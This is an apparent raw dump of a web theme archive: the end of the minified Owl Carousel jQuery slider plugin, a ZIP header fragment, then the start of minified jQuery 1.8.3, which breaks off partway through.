!1!==d.options.autoPlay&&g.clearInterval(d.autoPlayInterval);!0===d.browser.isTouch||d.$owlWrapper.hasClass("grabbing")||d.$owlWrapper.addClass("grabbing");d.newPosX=0;d.newRelativeX=0;f(this).css(d.removeTransition());e=f(this).position();h.relativePos=e.left;h.offsetX=a(c).x-e.left;h.offsetY=a(c).y-e.top;b("on");h.sliding=!1;h.targetElement=c.target||c.srcElement}})},getNewPosition:function(){var a=this.closestItem();a>this.maximumItem?a=this.currentItem=this.maximumItem:0<=this.newPosX&&(this.currentItem=
a=0);return a},closestItem:function(){var a=this,b=!0===a.options.scrollPerPage?a.pagesInArray:a.positionsInArray,e=a.newPosX,c=null;f.each(b,function(d,g){e-a.itemWidth/20>b[d+1]&&e-a.itemWidth/20<g&&"left"===a.moveDirection()?(c=g,a.currentItem=!0===a.options.scrollPerPage?f.inArray(c,a.positionsInArray):d):e+a.itemWidth/20<g&&e+a.itemWidth/20>(b[d+1]||b[d]-a.itemWidth)&&"right"===a.moveDirection()&&(!0===a.options.scrollPerPage?(c=b[d+1]||b[b.length-1],a.currentItem=f.inArray(c,a.positionsInArray)):
(c=b[d+1],a.currentItem=d+1))});return a.currentItem},moveDirection:function(){var a;0>this.newRelativeX?(a="right",this.playDirection="next"):(a="left",this.playDirection="prev");return a},customEvents:function(){var a=this;a.$elem.on("owl.next",function(){a.next()});a.$elem.on("owl.prev",function(){a.prev()});a.$elem.on("owl.play",function(b,e){a.options.autoPlay=e;a.play();a.hoverStatus="play"});a.$elem.on("owl.stop",function(){a.stop();a.hoverStatus="stop"});a.$elem.on("owl.goTo",function(b,e){a.goTo(e)});
a.$elem.on("owl.jumpTo",function(b,e){a.jumpTo(e)})},stopOnHover:function(){var a=this;!0===a.options.stopOnHover&&!0!==a.browser.isTouch&&!1!==a.options.autoPlay&&(a.$elem.on("mouseover",function(){a.stop()}),a.$elem.on("mouseout",function(){"stop"!==a.hoverStatus&&a.play()}))},lazyLoad:function(){var a,b,e,c,d;if(!1===this.options.lazyLoad)return!1;for(a=0;a<this.itemsAmount;a+=1)b=f(this.$owlItems[a]),"loaded"!==b.data("owl-loaded")&&(e=b.data("owl-item"),c=b.find(".lazyOwl"),"string"!==typeof c.data("src")?
b.data("owl-loaded","loaded"):(void 0===b.data("owl-loaded")&&(c.hide(),b.addClass("loading").data("owl-loaded","checked")),(d=!0===this.options.lazyFollow?e>=this.currentItem:!0)&&e<this.currentItem+this.options.items&&c.length&&this.lazyPreload(b,c)))},lazyPreload:function(a,b){function e(){a.data("owl-loaded","loaded").removeClass("loading");b.removeAttr("data-src");"fade"===d.options.lazyEffect?b.fadeIn(400):b.show();"function"===typeof d.options.afterLazyLoad&&d.options.afterLazyLoad.apply(this,
[d.$elem])}function c(){f+=1;d.completeImg(b.get(0))||!0===k?e():100>=f?g.setTimeout(c,100):e()}var d=this,f=0,k;"DIV"===b.prop("tagName")?(b.css("background-image","url("+b.data("src")+")"),k=!0):b[0].src=b.data("src");c()},autoHeight:function(){function a(){var a=f(e.$owlItems[e.currentItem]).height();e.wrapperOuter.css("height",a+"px");e.wrapperOuter.hasClass("autoHeight")||g.setTimeout(function(){e.wrapperOuter.addClass("autoHeight")},0)}function b(){d+=1;e.completeImg(c.get(0))?a():100>=d?g.setTimeout(b,
100):e.wrapperOuter.css("height","")}var e=this,c=f(e.$owlItems[e.currentItem]).find("img"),d;void 0!==c.get(0)?(d=0,b()):a()},completeImg:function(a){return!a.complete||"undefined"!==typeof a.naturalWidth&&0===a.naturalWidth?!1:!0},onVisibleItems:function(){var a;!0===this.options.addClassActive&&this.$owlItems.removeClass("active");this.visibleItems=[];for(a=this.currentItem;a<this.currentItem+this.options.items;a+=1)this.visibleItems.push(a),!0===this.options.addClassActive&&f(this.$owlItems[a]).addClass("active");
this.owl.visibleItems=this.visibleItems},transitionTypes:function(a){this.outClass="owl-"+a+"-out";this.inClass="owl-"+a+"-in"},singleItemTransition:function(){var a=this,b=a.outClass,e=a.inClass,c=a.$owlItems.eq(a.currentItem),d=a.$owlItems.eq(a.prevItem),f=Math.abs(a.positionsInArray[a.currentItem])+a.positionsInArray[a.prevItem],g=Math.abs(a.positionsInArray[a.currentItem])+a.itemWidth/2;a.isTransition=!0;a.$owlWrapper.addClass("owl-origin").css({"-webkit-transform-origin":g+"px","-moz-perspective-origin":g+
"px","perspective-origin":g+"px"});d.css({position:"relative",left:f+"px"}).addClass(b).on("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend",function(){a.endPrev=!0;d.off("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend");a.clearTransStyle(d,b)});c.addClass(e).on("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend",function(){a.endCurrent=!0;c.off("webkitAnimationEnd oAnimationEnd MSAnimationEnd animationend");a.clearTransStyle(c,e)})},clearTransStyle:function(a,
b){a.css({position:"",left:""}).removeClass(b);this.endPrev&&this.endCurrent&&(this.$owlWrapper.removeClass("owl-origin"),this.isTransition=this.endCurrent=this.endPrev=!1)},owlStatus:function(){this.owl={userOptions:this.userOptions,baseElement:this.$elem,userItems:this.$userItems,owlItems:this.$owlItems,currentItem:this.currentItem,prevItem:this.prevItem,visibleItems:this.visibleItems,isTouch:this.browser.isTouch,browser:this.browser,dragDirection:this.dragDirection}},clearEvents:function(){this.$elem.off(".owl owl mousedown.disableTextSelect");
f(k).off(".owl owl");f(g).off("resize",this.resizer)},unWrap:function(){0!==this.$elem.children().length&&(this.$owlWrapper.unwrap(),this.$userItems.unwrap().unwrap(),this.owlControls&&this.owlControls.remove());this.clearEvents();this.$elem.attr("style",this.$elem.data("owl-originalStyles")||"").attr("class",this.$elem.data("owl-originalClasses"))},destroy:function(){this.stop();g.clearInterval(this.checkVisible);this.unWrap();this.$elem.removeData()},reinit:function(a){a=f.extend({},this.userOptions,
a);this.unWrap();this.init(a,this.$elem)},addItem:function(a,b){var e;if(!a)return!1;if(0===this.$elem.children().length)return this.$elem.append(a),this.setVars(),!1;this.unWrap();e=void 0===b||-1===b?-1:b;e>=this.$userItems.length||-1===e?this.$userItems.eq(-1).after(a):this.$userItems.eq(e).before(a);this.setVars()},removeItem:function(a){if(0===this.$elem.children().length)return!1;a=void 0===a||-1===a?-1:a;this.unWrap();this.$userItems.eq(a).remove();this.setVars()}};f.fn.owlCarousel=function(a){return this.each(function(){if(!0===
f(this).data("owl-init"))return!1;f(this).data("owl-init",!0);var b=Object.create(l);b.init(a,this);f.data(this,"owlCarousel",b)})};f.fn.owlCarousel.options={items:5,itemsCustom:!1,itemsDesktop:[1199,4],itemsDesktopSmall:[979,3],itemsTablet:[768,2],itemsTabletSmall:!1,itemsMobile:[479,1],singleItem:!1,itemsScaleUp:!1,slideSpeed:200,paginationSpeed:800,rewindSpeed:1E3,autoPlay:!1,stopOnHover:!1,navigation:!1,navigationText:["prev","next"],rewindNav:!0,scrollPerPage:!1,pagination:!0,paginationNumbers:!1,
responsive:!0,responsiveRefreshRate:200,responsiveBaseWidth:g,baseClass:"owl-carousel",theme:"owl-theme",lazyLoad:!1,lazyFollow:!0,lazyEffect:"fade",autoHeight:!1,jsonPath:!1,jsonSuccess:!1,dragBeforeAnimFinish:!0,mouseDrag:!0,touchDrag:!0,addClassActive:!1,transitionStyle:!1,beforeUpdate:!1,afterUpdate:!1,beforeInit:!1,afterInit:!1,beforeMove:!1,afterMove:!1,afterAction:!1,startDragging:!1,afterLazyLoad:!1}})(jQuery,window,document);PK!�M���m�m!bluetheme/assets/js/jquery.min.jsnu&1i�/*! jQuery v1.8.3 jquery.com | jquery.org/license */
(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r<i;r++)v.event.add(t,n,u[n][r])}o.data&&(o.data=v.extend({},o.data))}function Ot(e,t){var n;if(t.nodeType!==1)return;t.clearAttributes&&t.clearAttributes(),t.mergeAttributes&&t.mergeAttributes(e),n=t.nodeName.toLowerCase(),n==="object"?(t.parentNode&&(t.outerHTML=e.outerHTML),v.support.html5Clone&&e.innerHTML&&!v.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):n==="input"&&Et.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):n==="option"?t.selected=e.defaultSelected:n==="input"||n==="textarea"?t.defaultValue=e.defaultValue:n==="script"&&t.text!==e.text&&(t.text=e.text),t.removeAttribute(v.expando)}function Mt(e){return typeof e.getElementsByTagName!="undefined"?e.getElementsByTagName("*"):typeof e.querySelectorAll!="undefined"?e.querySelectorAll("*"):[]}function _t(e){Et.test(e.type)&&(e.defaultChecked=e.checked)}function Qt(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Jt.length;while(i--){t=Jt[i]+n;if(t in e)return t}return r}function Gt(e,t){return e=t||e,v.css(e,"display")==="none"||!v.contains(e.ownerDocument,e)}function Yt(e,t){var n,r,i=[],s=0,o=e.length;for(;s<o;s++){n=e[s];if(!n.style)continue;i[s]=v._data(n,"olddisplay"),t?(!i[s]&&n.style.display==="none"&&(n.style.display=""),n.style.display===""&&Gt(n)&&(i[s]=v._data(n,"olddisplay",nn(n.nodeName)))):(r=Dt(n,"display"),!i[s]&&r!=="none"&&v._data(n,"olddisplay",r))}for(s=0;s<o;s++){n=e[s];if(!n.style)continue;if(!t||n.style.display==="none"||n.style.display==="")n.style.display=t?i[s]||"":"none"}return e}function Zt(e,t,n){var r=Rt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function en(e,t,n,r){var i=n===(r?"border":"content")?4:t==="width"?1:0,s=0;for(;i<4;i+=2)n==="margin"&&(s+=v.css(e,n+$t[i],!0)),r?(n==="content"&&(s-=parseFloat(Dt(e,"padding"+$t[i]))||0),n!=="margin"&&(s-=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0)):(s+=parseFloat(Dt(e,"padding"+$t[i]))||0,n!=="padding"&&(s+=parseFloat(Dt(e,"border"+$t[i]+"Width"))||0));return s}function tn(e,t,n){var r=t==="width"?e.offsetWidth:e.offsetHeight,i=!0,s=v.support.boxSizing&&v.css(e,"boxSizing")==="border-box";if(r<=0||r==null){r=Dt(e,t);if(r<0||r==null)r=e.style[t];if(Ut.test(r))return r;i=s&&(v.support.boxSizingReliable||r===e.style[t]),r=parseFloat(r)||0}return r+en(e,t,n||(s?"border":"content"),i)+"px"}function nn(e){if(Wt[e])return Wt[e];var t=v("<"+e+">").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write("<!doctype html><html><body>"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u<a;u++)r=o[u],s=/^\+/.test(r),s&&(r=r.substr(1)||"*"),i=e[r]=e[r]||[],i[s?"unshift":"push"](n)}}function kn(e,n,r,i,s,o){s=s||n.dataTypes[0],o=o||{},o[s]=!0;var u,a=e[s],f=0,l=a?a.length:0,c=e===Sn;for(;f<l&&(c||!u);f++)u=a[f](n,r,i),typeof u=="string"&&(!c||o[u]?u=t:(n.dataTypes.unshift(u),u=kn(e,n,r,i,u,o)));return(c||!u)&&!o["*"]&&(u=kn(e,n,r,i,"*",o)),u}function Ln(e,n){var r,i,s=v.ajaxSettings.flatOptions||{};for(r in n)n[r]!==t&&((s[r]?e:i||(i={}))[r]=n[r]);i&&v.extend(!0,e,i)}function An(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes,l=e.responseFields;for(s in l)s in r&&(n[l[s]]=r[s]);while(f[0]==="*")f.shift(),i===t&&(i=e.mimeType||n.getResponseHeader("content-type"));if(i)for(s in a)if(a[s]&&a[s].test(i)){f.unshift(s);break}if(f[0]in r)o=f[0];else{for(s in r){if(!f[0]||e.converters[s+" "+f[0]]){o=s;break}u||(u=s)}o=o||u}if(o)return o!==f[0]&&f.unshift(o),r[o]}function On(e,t){var n,r,i,s,o=e.dataTypes.slice(),u=o[0],a={},f=0;e.dataFilter&&(t=e.dataFilter(t,e.dataType));if(o[1])for(n in e.converters)a[n.toLowerCase()]=e.converters[n];for(;i=o[++f];)if(i!=="*"){if(u!=="*"&&u!==i){n=a[u+" "+i]||a["* "+i];if(!n)for(r in a){s=r.split(" ");if(s[1]===i){n=a[u+" "+s[0]]||a["* "+s[0]];if(n){n===!0?n=a[r]:a[r]!==!0&&(i=s[0],o.splice(f--,0,i));break}}}if(n!==!0)if(n&&e["throws"])t=n(t);else try{t=n(t)}catch(l){return{state:"parsererror",error:n?l:"No conversion from "+u+" to "+i}}}u=i}return{state:"success",data:t}}function Fn(){try{return new e.XMLHttpRequest}catch(t){}}function In(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function $n(){return setTimeout(function(){qn=t},0),qn=v.now()}function Jn(e,t){v.each(t,function(t,n){var r=(Vn[t]||[]).concat(Vn["*"]),i=0,s=r.length;for(;i<s;i++)if(r[i].call(e,t,n))return})}function Kn(e,t,n){var r,i=0,s=0,o=Xn.length,u=v.Deferred().always(function(){delete a.elem}),a=function(){var t=qn||$n(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,i=1-r,s=0,o=f.tweens.length;for(;s<o;s++)f.tweens[s].run(i);return u.notifyWith(e,[f,i,n]),i<1&&o?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:v.extend({},t),opts:v.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qn||$n(),duration:n.duration,tweens:[],createTween:function(t,n,r){var i=v.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(i),i},stop:function(t){var n=0,r=t?f.tweens.length:0;for(;n<r;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;Qn(l,f.opts.specialEasing);for(;i<o;i++){r=Xn[i].call(f,e,l,f.opts);if(r)return r}return Jn(f,l),v.isFunction(f.opts.start)&&f.opts.start.call(e,f),v.fx.timer(v.extend(a,{anim:f,queue:f.opts.queue,elem:e})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function Qn(e,t){var n,r,i,s,o;for(n in e){r=v.camelCase(n),i=t[r],s=e[n],v.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),o=v.cssHooks[r];if(o&&"expand"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}}function Gn(e,t,n){var r,i,s,o,u,a,f,l,c,h=this,p=e.style,d={},m=[],g=e.nodeType&&Gt(e);n.queue||(l=v._queueHooks(e,"fx"),l.unqueued==null&&(l.unqueued=0,c=l.empty.fire,l.empty.fire=function(){l.unqueued||c()}),l.unqueued++,h.always(function(){h.always(function(){l.unqueued--,v.queue(e,"fx").length||l.empty.fire()})})),e.nodeType===1&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],v.css(e,"display")==="inline"&&v.css(e,"float")==="none"&&(!v.support.inlineBlockNeedsLayout||nn(e.nodeName)==="inline"?p.display="inline-block":p.zoom=1)),n.overflow&&(p.overflow="hidden",v.support.shrinkWrapBlocks||h.done(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){s=t[r];if(Un.exec(s)){delete t[r],a=a||s==="toggle";if(s===(g?"hide":"show"))continue;m.push(r)}}o=m.length;if(o){u=v._data(e,"fxshow")||v._data(e,"fxshow",{}),"hidden"in u&&(g=u.hidden),a&&(u.hidden=!g),g?v(e).show():h.done(function(){v(e).hide()}),h.done(function(){var t;v.removeData(e,"fxshow",!0);for(t in d)v.style(e,t,d[t])});for(r=0;r<o;r++)i=m[r],f=h.createTween(i,g?u[i]:0),d[i]=u[i]||v.style(e,i),i in u||(u[i]=f.start,g&&(f.end=f.start,f.start=i==="width"||i==="height"?1:0))}}function Yn(e,t,n,r,i){return new Yn.prototype.init(e,t,n,r,i)}function Zn(e,t){var n,r={height:e},i=0;t=t?1:0;for(;i<4;i+=2-t)n=$t[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function tr(e){return v.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n,r,i=e.document,s=e.location,o=e.navigator,u=e.jQuery,a=e.$,f=Array.prototype.push,l=Array.prototype.slice,c=Array.prototype.indexOf,h=Object.prototype.toString,p=Object.prototype.hasOwnProperty,d=String.prototype.trim,v=function(e,t){return new v.fn.init(e,t,n)},m=/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,g=/\S/,y=/\s+/,b=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,w=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a<f;a++)if((e=arguments[a])!=null)for(n in e){r=u[n],i=e[n];if(u===i)continue;l&&i&&(v.isPlainObject(i)||(s=v.isArray(i)))?(s?(s=!1,o=r&&v.isArray(r)?r:[]):o=r&&v.isPlainObject(r)?r:{},u[n]=v.extend(l,o,i)):i!==t&&(u[n]=i)}return u},v.extend({noConflict:function(t){return e.$===v&&(e.$=a),t&&e.jQuery===v&&(e.jQuery=u),v},isReady:!1,readyWait:1,holdReady:function(e){e?v.readyWait++:v.ready(!0)},ready:function(e){if(e===!0?--v.readyWait:v.isReady)return;if(!i.body)return setTimeout(v.ready,1);v.isReady=!0;if(e!==!0&&--v.readyWait>0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s<o;)if(n.apply(e[s++],r)===!1)break}else if(u){for(i in e)if(n.call(e[i],i,e[i])===!1)break}else for(;s<o;)if(n.call(e[s],s,e[s++])===!1)break;return e},trim:d&&!d.call("\ufeff\u00a0")?function(e){return e==null?"":d.call(e)}:function(e){return e==null?"":(e+"").replace(b,"")},makeArray:function(e,t){var n,r=t||[];return e!=null&&(n=v.type(e),e.length==null||n==="string"||n==="function"||n==="regexp"||v.isWindow(e)?f.call(r,e):v.merge(r,e)),r},inArray:function(e,t,n){var r;if(t){if(c)return c.call(t,e,n);r=t.length,n=n?n<0?Math.max(0,r+n):n:0;for(;n<r;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if(typeof r=="number")for(;s<r;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;n=!!n;for(;s<o;s++)r=!!t(e[s],s),n!==r&&i.push(e[s]);return i},map:function(e,n,r){var i,s,o=[],u=0,a=e.length,f=e instanceof v||a!==t&&typeof a=="number"&&(a>0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u<a;u++)i=n(e[u],u,r),i!=null&&(o[o.length]=i);else for(s in e)i=n(e[s],s,r),i!=null&&(o[o.length]=i);return o.concat.apply([],o)},guid:1,proxy:function(e,n){var r,i,s;return typeof n=="string"&&(r=e[n],n=e,e=r),v.isFunction(e)?(i=l.call(arguments,2),s=function(){return e.apply(n,i.concat(l.call(arguments)))},s.guid=e.guid=e.guid||v.guid++,s):t},access:function(e,n,r,i,s,o,u){var a,f=r==null,l=0,c=e.length;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readyState==="complete")setTimeout(v.ready,1);else if(i.addEventListener)i.addEventListener("DOMContentLoaded",A,!1),e.addEventListener("load",v.ready,!1);else{i.attachEvent("onreadystatechange",A),e.attachEvent("onload",v.ready);var n=!1;try{n=e.frameElement==null&&i.documentElement}catch(s){}n&&n.doScroll&&function o(){if(!v.isReady){try{n.doScroll("left")}catch(e){return setTimeout(o,50)}v.ready()}}()}}return r.promise(t)},v.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(e,t){O["[object "+t+"]"]=t.toLowerCase()}),n=v(i);var M={};v.Callbacks=function(e){e=typeof e=="string"?M[e]||_(e):v.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once&&[],l=function(t){n=e.memory&&t,r=!0,u=s||0,s=0,o=a.length,i=!0;for(;a&&u<o;u++)if(a[u].apply(t[0],t[1])===!1&&e.stopOnFalse){n=!1;break}i=!1,a&&(f?f.length&&l(f.shift()):n?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function r(t){v.each(t,function(t,n){var i=v.type(n);i==="function"?(!e.unique||!c.has(n))&&a.push(n):n&&n.length&&i!=="string"&&r(n)})})(arguments),i?o=a.length:n&&(s=t,l(n))}return this},remove:function(){return a&&v.each(arguments,function(e,t){var n;while((n=v.inArray(t,a,n))>-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t<r;t++)n[t]&&v.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i}return i||s.resolveWith(f,n),s.promise()}}),v.support=function(){var t,n,r,s,o,u,a,f,l,c,h,p=i.createElement("div");p.setAttribute("className","t"),p.innerHTML="  <link/><table></table><a href='/a'>a</a><input 